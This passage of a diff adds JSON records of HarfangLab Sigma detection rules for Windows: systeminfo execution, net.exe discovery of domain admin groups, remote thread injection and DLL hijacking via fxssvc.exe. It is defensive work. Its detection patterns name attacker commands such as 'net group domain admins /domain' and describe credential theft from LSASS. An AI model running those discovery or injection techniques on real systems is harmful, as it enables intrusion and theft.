'\\MSSQL\\Binn\\sqlservr.exe'\n            - '?:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe'\n            - '?:\\Windows\\ADDMRemQuery_x86_64_v2.exe'\n            - '?:\\Program Files (x86)\\Lenovo\\VantageService\\\\*\\LenovoVantageService.exe'\n            - '?:\\Program Files\\SentinelOne\\Sentinel Agent *\\SentinelAgent.exe'\n\n    exclusion_commvault_diagnostics:\n        GrandparentImage|endswith: 'CvDiagnostics.exe'\n\n    exclusion_lenovo_systemupdate1:\n        # great great grandfather is: \"C:\\Program Files (x86)\\Lenovo\\System Update\\\\Tvsukernel.exe\"\n        # great great grandfather is: C:\\PROGRA~3\\Lenovo\\SYSTEM~1\\SESSIO~1\\REPOSI~1\\n1nuj32w\\WINUPTP.EXE\n        # grandfather is: \"C:\\Windows\\sysnative\\cmd.exe\" \"/c susbde.bat\"\n        GrandparentCommandLine|contains|all:\n            - '\\Windows\\sysnative\\cmd.exe'\n            - 'susbde.bat'\n\n    exclusion_lenovo_systemupdate2:\n        GrandparentCommandLine:\n            # cmd.exe /C C:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\n20rg22w\\SusBde.bat\n            - 'cmd.exe /C ?:\\ProgramData\\Lenovo\\SystemUpdate\\sessionSE\\Repository\\\\*\\SusBde.bat'\n            # cmd.exe /C C:\\ProgramData\\Lenovo\\ImController\\SystemPluginData\\LenovoSystemUpdatePlugin\\session\\Repository\\n2irg32w\\SusBde.bat\n            - 'cmd.exe /C ?:\\ProgramData\\Lenovo\\ImController\\SystemPluginData\\LenovoSystemUpdatePlugin\\\\*\\SusBde.bat'\n            # cmd.exe /C C:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoSystemUpdateAddin\\session\\Repository\\n2hrg33w\\SusBde.bat\n            - 'cmd.exe /C ?:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoSystemUpdateAddin\\session\\Repository\\\\*\\SusBde.bat'\n        CommandLine: '?:\\windows\\System32\\systeminfo.exe /FO CSV /NH'\n\n    exclusion_dfir_orc:\n        ParentImage: '*\\DFIR-Orc_x64.exe'\n        ParentCommandLine|contains: ' WolfLauncher'\n\n    exclusion_vscode:\n        ParentImage: '?:\\Windows\\System32\\cmd.exe'\n        GrandparentImage|endswith: '\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n\n    exclusion_sara:\n        ParentCommandLine: 'powershell.exe (systeminfo /fo csv | ConvertFrom-Csv | Select-Object OS\\*)'\n        GrandparentImage|endswith: '\\Microsoft.Sara.exe'\n\n    exclusion_vmware:\n        ParentCommandLine:\n            # /s /v/qn /L\n            # /s /v/qb-\n            # /mg /s /v/qb-\n            - '?:\\Windows\\TEMP\\vmware-SYSTEM\\\\????????\\setup64.exe * REBOOT=R VMREBOOTPROMPT=Y /L ?:\\Windows\\TEMP\\vmware-SYSTEM\\vmupgrader_msi.log_????????_??????.log'\n            - '?:\\Windows\\TEMP\\vmware-Système\\\\????????\\setup64.exe * REBOOT=R VMREBOOTPROMPT=Y /L ?:\\Windows\\TEMP\\vmware-Système\\vmupgrader_msi.log_????????_??????.log'\n            - '?:\\Windows\\TEMP\\vmware-SYSTEM\\\\????????\\setup64.exe /mg /s /v/qn'\n            - '?:\\Windows\\TEMP\\vmware-Système\\\\????????\\setup64.exe /mg /s /v/qn'\n            - '?:\\Windows\\TEMP\\vmware-SYSTEM-??????????\\\\????????\\setup64.exe /mg /s /v/qn'\n            - '?:\\Windows\\TEMP\\vmware-Système-??????????\\\\????????\\setup64.exe /mg /s /v/qn'\n            - '?:\\Windows\\TEMP\\vmware-SYSTEM\\\\????????\\setup64.exe /s /v/qn'\n            - '?:\\Windows\\TEMP\\vmware-Système\\\\????????\\setup64.exe /s /v/qn'\n        GrandparentImage:\n            - '?:\\Windows\\Temp\\vmware-SYSTEM\\\\????????\\setup.exe'\n            - '?:\\Windows\\Temp\\vmware-Système\\\\????????\\setup.exe'\n\n    exclusion_ivanti:\n        # Ivanti Patch Management service\n        ParentCommandLine|startswith: '?:\\Windows\\ProPatches\\Patches\\'\n        CurrentDirectory: '?:\\Windows\\ProPatches\\Installation\\InstallationSandbox#????-??-??-T-??-??-??'\n\n    exclusion_azure_networkwatcher:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c systeminfo >> config\\osinfo.txt'\n        GrandparentCommandLine: '?:\\Windows\\system32\\cscript.exe ?:\\Windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_gitkraken:\n        GrandparentImage: '?:\\Users\\\\*\\AppData\\Local\\gitkraken\\app-*\\gitkraken.exe'\n\n    exclusion_netbackup:\n        Ancestors|contains: '|?:\\Windows\\System32\\cmd.exe|?:\\Program Files\\Veritas\\NetBackup\\var\\tmp\\telemetry\\par-*\\temp-*\\nbtelemetry.exe|'\n\n    exclusion_manageengine1:\n        GrandparentCommandLine|contains: ';../lib/AdventNetUpdateManagerInstaller.jar;'\n        GrandparentImage|endswith: '\\bin\\java.exe'\n\n    exclusion_manageengine2:\n        ProcessGrandparentProduct: 'ADManager Plus'\n        ProcessGrandparentCompany: 'Zoho Corporation Pvt. Ltd.'\n\n    exclusion_flexera:\n        ProcessGrandparentOriginalFileName: 'gui.exe'\n        ProcessGrandparentDescription: 'LaunchAnywhere'\n        ProcessGrandparentCompany: 'Flexera Software'\n\n    exclusion_rocket:\n        ProcessParentImage|endswith:\n            - '\\Rocket.exe'\n            - '\\Lts.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature|contains: 'AREAL SAS'\n\n    exclusion_intersystems:\n        ProcessGrandparentOriginalFileName:\n            - 'Cache.exe'\n            - 'irisdb.exe'\n        ProcessGrandparentCompany: 'InterSystems'\n\n    exclusion_actuate:\n        ProcessParentOriginalFileName: 'pmd11.exe'\n        ProcessParentCompany: 'Actuate Corporation'\n\n    exclusion_siemens:\n        GrandparentCommandLine: '?:\\Windows\\System32\\cmd.exe /C ?:\\Program Files\\Siemens\\syngo\\OperationalManagement\\HealthCheck\\runHealthCheckInShell.bat'\n\n    exclusion_carestream:\n        GrandparentCommandLine|contains: 'perl*?:\\PROGRA~1\\CAREST~1\\System5\\scripts\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f521bea-fbfa-4c6c-8d8b-391265ec0d9c",
+  "rule_name": "Systeminfo Execution",
+  "rule_description": "Detects the execution of systeminfo.exe.\nSysteminfo.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to gather detailed information about a computer.\nIt is recommended to analyze the process responsible for the execution of route.exe to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-04-01",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f5ee141-ceb0-477a-8817-f631dba06a51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083690Z",
+  "creation_date": "2026-03-23T11:45:34.083692Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083696Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/",
+    "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/track-changes-to-sensitive-groups-with-advanced-hunting-in/ba-p/3275198",
+    "https://attack.mitre.org/techniques/T1069/002/"
+  ],
+  "name": "t1069_002_net_sensitive_group.yml",
+  "content": "title: Sensitive Group Content Discovered via net.exe\nid: 7f5ee141-ceb0-477a-8817-f631dba06a51\ndescription: |\n    Detects the execution of the net command to discover the content of sensitive groups.\n    The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\n    Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n    It is recommended to correlate this alert with other discovery activity and suspicious connections on the network.\nreferences:\n    - https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/\n    - https://techcommunity.microsoft.com/t5/security-compliance-and-identity/track-changes-to-sensitive-groups-with-advanced-hunting-in/ba-p/3275198\n    - https://attack.mitre.org/techniques/T1069/002/\ndate: 2023/04/05\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # net group domain administrators /domain\n    # net group domain admins /domain\n    # net group Admins du domaine /domain\n    selection_image:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_domain:\n        CommandLine|contains: ' /dom'\n\n    selection_group_admin:\n        CommandLine|contains|all:\n            - ' admin'\n            - ' domain'\n    selection_group_other:\n        CommandLine|contains:\n            - 'Account Operators'\n            - 'Backup Operators'\n            - 'Domain Computers'\n            - 'Domain Controllers'\n            - 'Enterprise Admins'\n            - 'Exchange Trusted Subsystem'\n            - 'Exchange Organization Administrators'\n            - 'Microsoft Exchange Servers'\n            - 'Print Operators'\n            - 'Schema Admins'\n            - 'Server Operators'\n\n    condition: selection_image and selection_domain and 1 of selection_group_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f5ee141-ceb0-477a-8817-f631dba06a51",
+  "rule_name": "Sensitive Group Content Discovered via net.exe",
+  "rule_description": "Detects the execution of the net command to discover the content of sensitive groups.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\nIt is recommended to correlate this alert with other discovery activity and suspicious connections on the network.\n",
+  "rule_creation_date": "2023-04-05",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f69ffe6-5b1a-43bb-b560-4d69ff1d5166",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619888Z",
+  "creation_date": "2026-03-23T11:45:34.619890Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619895Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_suspicious_remote_thread_uncommon_location.yml",
+  "content": "title: Remote Thread Created from Process in Uncommon Location\nid: 7f69ffe6-5b1a-43bb-b560-4d69ff1d5166\ndescription: |\n    Detects suspicious remote threads that are not mapped to a legitimate DLL/executable and created by a process in an uncommon location.\n    Adversaries may inject malicious code in a web browser (ie. Firefox, Chrome, Edge...) or in LSASS to steal sensitive information such as credentials.\n    If the thread is injected in another process, it could be an attempt at performing malicious activity within a legitimate process.\n    It is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/12/11\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        SourceImage|startswith:\n            - '?:\\perflogs\\'\n            - '?:\\Users\\'\n            - '?:\\programdata\\'\n            - '?:\\Windows\\'\n            - '?:\\\\?Recycle.Bin\\'\n    exclusion_module:\n        StartModule|contains:\n            - '.dll'\n            - '.exe'\n            - '.com'\n    exclusion_defender:\n        SourceImage|endswith: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n    exclusion_firefox_flash:\n        ProcessOriginalFileName: 'firefox.exe'\n        TargetImage|contains: 'FlashPlayerPlugin'\n    exclusion_edge:\n        SourceImage|endswith: '\\Microsoft\\Edge\\Application\\msedge.exe'\n        TargetImage|endswith: '\\Microsoft\\Edge\\Application\\msedge.exe'\n    exclusion_chrome:\n        SourceImage|endswith: 'chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n        TargetImage|endswith: '\\chrome.exe'\n    exclusion_chromium:\n        SourceImage|endswith: 'chromium.exe'\n        ProcessSigned: 'true'\n        TargetImage|endswith: '\\chromium.exe'\n    exclusion_IpDivaVpn:\n        SourceImage|endswith: '\\IpDivaVpnTunnelingStarter\\AdisProcessInjection64.exe'\n        TargetImage: '?:\\Windows\\System32\\mstsc.exe'\n    exclusion_java:\n        SourceImage|endswith:\n            - '\\bin\\jconsole.exe'\n            - '\\bin\\java.exe'\n            - '\\bin\\javaw.exe'\n            - '\\bin\\jcmd.exe'\n            - '\\bin\\idea64.exe'\n            - '\\bin\\jmap.exe'\n            - '\\bin\\jmc.exe'\n            - '\\bin\\jstack.exe'\n            - '\\bin\\jprofiler.exe'\n        TargetImage|endswith:\n            - '\\bin\\jconsole.exe'\n            - '\\bin\\java.exe'\n            - '\\bin\\javaw.exe'\n            - '\\bin\\jcmd.exe'\n            - '\\bin\\idea64.exe'\n            - '\\bin\\jmap.exe'\n            - '\\bin\\keytool.exe'\n            - '\\eclipse.exe'\n            - '\\pc-client.exe'  # papercut\n            - '\\Jaspersoft Studio.exe' # TIBCO\\Jaspersoft Studio\n            - '\\SpringToolSuite4.exe'\n            - '\\SpringToolSuite.exe'\n    exclusion_anydesk:\n        SourceImage|contains: 'anydesk'\n        TargetImage: '?:\\Windows\\System32\\dwm.exe'\n    exclusion_clink:\n        SourceImage|endswith: 'clink\\clink_x64.exe'\n        TargetImage: '?:\\Windows\\System32\\cmd.exe'\n    exclusion_taskbar:\n        SourceImage|endswith: '7+ Taskbar Tweaker\\7+ Taskbar Tweaker.exe'\n        TargetImage: '?:\\Windows\\explorer.exe'\n    exclusion_mcafee:\n        - SourceImage:\n            - '?:\\ProgramData\\McAfee\\Agent\\Evaluation\\ENDP_*\\Install\\0000\\\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\Evaluation\\ENDP_*\\Install\\0000\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\Current\\ENDP_*\\Install\\0000\\mfeepmpk_utility.exe'\n            - '?:\\ProgramData\\McAfee\\Agent\\Previous\\ENDP_*\\Install\\0000\\mfeepmpk_utility.exe'\n        - SourceImage|endswith: '\\mfeepmpk_utility.exe'\n          ProcessSigned: 'true'\n          ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'Musarubra US LLC'\n    exclusion_svchost32b:\n        SourceImage: '?:\\Windows\\SysWOW64\\svchost.exe'\n        TargetImage:\n            - '?:\\Program Files (x86)\\Internet Explorer\\iexplore.exe'\n            - '?:\\Windows\\winsxs\\wow64_microsoft-windows-*\\iexplore.exe'\n    exclusion_svchost64b:\n        SourceImage: '?:\\Windows\\System32\\svchost.exe'\n        TargetImage: '?:\\Windows\\System32\\SppExtComObj.Exe'\n    exclusion_Netwrix:\n        SourceImage: '?:\\Windows\\Netwrix Auditor\\Netwrix Auditor Mailbox Access Core Service\\NombaAgent64.exe'\n        TargetImage: '?:\\Program Files\\Microsoft\\Exchange Server\\V14\\Bin\\store.exe'\n    exclusion_powercfg:\n        SourceImage: '?:\\Windows\\System32\\powercfg.exe'\n        TargetImage: '?:\\Windows\\System32\\svchost.exe'\n    exclusion_rpcnet:\n        - SourceImage: '?:\\Windows\\SysWOW64\\rpcnet.exe'\n          TargetImage:\n            - '?:\\Windows\\SysWOW64\\rpcnet.exe'\n            - '?:\\Windows\\SysWOW64\\svchost.exe'\n            - '?:\\Windows\\winsxs\\x86_*\\svchost.exe'\n        - ProcessParentImage: '?:\\Windows\\SysWOW64\\rpcnet.exe'\n          SourceImage: '?:\\Windows\\SysWOW64\\svchost.exe'\n          TargetImage: '?:\\Windows\\SysWOW64\\OpenWith.exe'\n    exclusion_rpcnetp:\n        SourceImage: '?:\\Windows\\System32\\rpcnetp.exe'\n        TargetImage: '?:\\Windows\\SysWOW64\\svchost.exe'\n    exclusion_office:\n        SourceImage: '?:\\Windows\\System32\\SppExtComObjPatcher.exe'\n        TargetImage:\n            - '?:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE'\n            - '?:\\Windows\\System32\\SppExtComObj.Exe'\n    exclusion_rundll32:\n        SourceImage: '?:\\Windows\\System32\\rundll32.exe'\n        TargetImage:\n            - '?:\\Windows\\System32\\SppExtComObj.Exe'\n            - '?:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\dwm.exe'\n            - '?:\\Windows\\System32\\SearchIndexer.exe'\n            - '?:\\Windows\\servicing\\TrustedInstaller.exe'\n            - '?:\\Windows\\System32\\Defrag.exe'\n    exclusion_winlogon:\n        SourceImage: '?:\\Windows\\System32\\winlogon.exe'\n        TargetImage:\n            - '?:\\Windows\\System32\\csrss.exe'\n            - '?:\\Windows\\System32\\services.exe'\n            - '?:\\Windows\\System32\\wininit.exe'\n            - '?:\\Windows\\System32\\ssText3d.scr'\n            - '?:\\Windows\\System32\\scrnsave.scr'\n            - '?:\\Windows\\System32\\PhotoScreensaver.scr'\n    exclusion_old_agent_compatibility: # Exclude some windows binaries due to high fp volume on older agents\n        SourceImage:\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\winsxs\\x86_*\\svchost.exe'\n            - '?:\\Windows\\explorer.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n    exclusion_seclore_processwatcher:\n        SourceImage|endswith: 'Seclore\\FileSecure\\Desktop Client\\x64\\ProcessWatcher64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Seclore Technology Private Limited'\n    exclusion_werfault:\n        ProcessCommandLine|contains:\n            - '/h /shared'\n            - '-u -p * -s *'\n        SourceImage: '*\\werfault.exe'\n    exclusion_final_code:\n        SourceImage|endswith: 'FinalCode\\Application\\FinalCodeLauncher.exe'\n        TargetImage|endswith: 'FinalCode\\Application\\UIServer.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Digital Arts Inc.'\n            - 'FinalCode, Inc.'\n    exclusion_mavinject_appvclient:\n        ProcessOriginalFileName:\n            - 'mavinject32.exe'\n            - 'mavinject64.exe'\n        TargetImage|endswith: 'explorer.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessParentOriginalFileName: 'AppVClient.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Windows'\n    exclusion_syspin:\n        ProcessOriginalFileName: 'syspin.exe'\n        TargetImage: '?:\\Windows\\explorer.exe'\n    exclusion_nirsfot_ruasdate:\n        ProcessOriginalFileName: 'RunAsDate.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Nir Sofer'\n    exclusion_gotoassist:\n        ProcessProcessName: 'GoToAssistTools64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'LogMeIn, Inc.'\n            - 'GoTo Technologies USA, LLC'\n    exclusion_talendstudio:\n        SourceImage: '?:\\Users\\\\*\\Talend-Studio-*.exe'\n        TargetImage:\n            - '?:\\Users\\\\*\\AppData\\Local\\DBeaver\\dbeaver.exe'\n            - '?:\\Users\\\\*\\Talend-Studio-*.exe'\n            - '?:\\Program Files*\\Java\\jr*\\bin\\java.exe'\n    exclusion_conemu:\n        ProcessProcessName: 'cmd.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessParentProcessName: 'ConEmuC64.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Maksim Moisiuk'\n    exclusion_ESET:\n        ProcessProcessName: 'rundll32.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessParentProcessName: 'ekrn.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'ESET, spol. s r.o.'\n    exclusion_discord:\n        ProcessImage|endswith: '\\Discord\\app-*\\modules\\discord_hook-1\\discord_hook\\\\*\\DiscordHookHelper64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Discord Inc.'\n    exclusion_audials:\n        ProcessImage:\n            - '?:\\ProgramData\\Audials\\Audials 2025\\CaptureBackend\\HookHelper32.exe'\n            - '?:\\ProgramData\\Audials\\Audials 2025\\CaptureBackend\\HookHelper64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Audials AG'\n    exclusion_RPCDnD:\n        ProcessImage: '?:\\ProgramData\\RPCDnD\\HelpDesk\\RemotePCDnDLauncher.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'IDrive, Inc.'\n    exclusion_jdk_mission_control:\n        ProcessImage|endswith: 'JDK Mission Control\\jmc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Oracle America, Inc.'\n    exclusion_teruten:\n        ProcessOriginalFileName:\n            - 'TCubeObserver.exe'\n            - 'TDepend64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Teruten Inc.'\n            - 'Teruten, Inc.'\n    exclusion_quest:\n        ProcessOriginalFileName: 'BTPassSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'QUEST SOFTWARE INC.'\n    exclusion_wps_office:\n        ProcessImage|endswith: '\\AppData\\Local\\Kingsoft\\WPS Office\\\\*\\office6\\pinTaskbar.exe'\n        ProcessParentImage|endswith: '\\AppData\\Local\\Kingsoft\\WPS Office\\\\*\\office6\\ksomisc.exe'\n    exclusion_roblox:\n        SourceImage|endswith: '\\RobloxPlayerBeta.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Roblox Corporation'\n    exclusion_windhawk:\n        SourceImage|endswith: '\\windhawk.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Michael Maltsev'\n    exclusion_everest:\n        SourceImage|endswith: '\\EGH\\Outils_EGH\\OWDLC64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Everest Software International Pty Ltd'\n    exclusion_jetbrains:\n        SourceImage|endswith: '\\bin\\phpstorm64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'JetBrains s.r.o.'\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f69ffe6-5b1a-43bb-b560-4d69ff1d5166",
+  "rule_name": "Remote Thread Created from Process in Uncommon Location",
+  "rule_description": "Detects suspicious remote threads that are not mapped to a legitimate DLL/executable and created by a process in an uncommon location.\nAdversaries may inject malicious code in a web browser (ie. Firefox, Chrome, Edge...) or in LSASS to steal sensitive information such as credentials.\nIf the thread is injected in another process, it could be an attempt at performing malicious activity within a legitimate process.\nIt is recommended to investigate the process injecting the thread and the injected process for suspicious activity such as uncommon network connections or child processes.\n",
+  "rule_creation_date": "2023-12-11",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f6edf60-02f1-41f9-b54d-aaa7346dc347",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085456Z",
+  "creation_date": "2026-03-23T11:45:34.085458Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085463Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fxssvc.yml",
+  "content": "title: DLL Hijacking via fxssvc.exe\nid: 7f6edf60-02f1-41f9-b54d-aaa7346dc347\ndescription: |\n    Detects potential Windows DLL Hijacking via fxssvc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fxssvc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\FXSTIFF.dll'\n            - '\\IPHLPAPI.DLL'\n            - '\\PROPSYS.dll'\n            - '\\TAPI32.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f6edf60-02f1-41f9-b54d-aaa7346dc347",
+  "rule_name": "DLL Hijacking via fxssvc.exe",
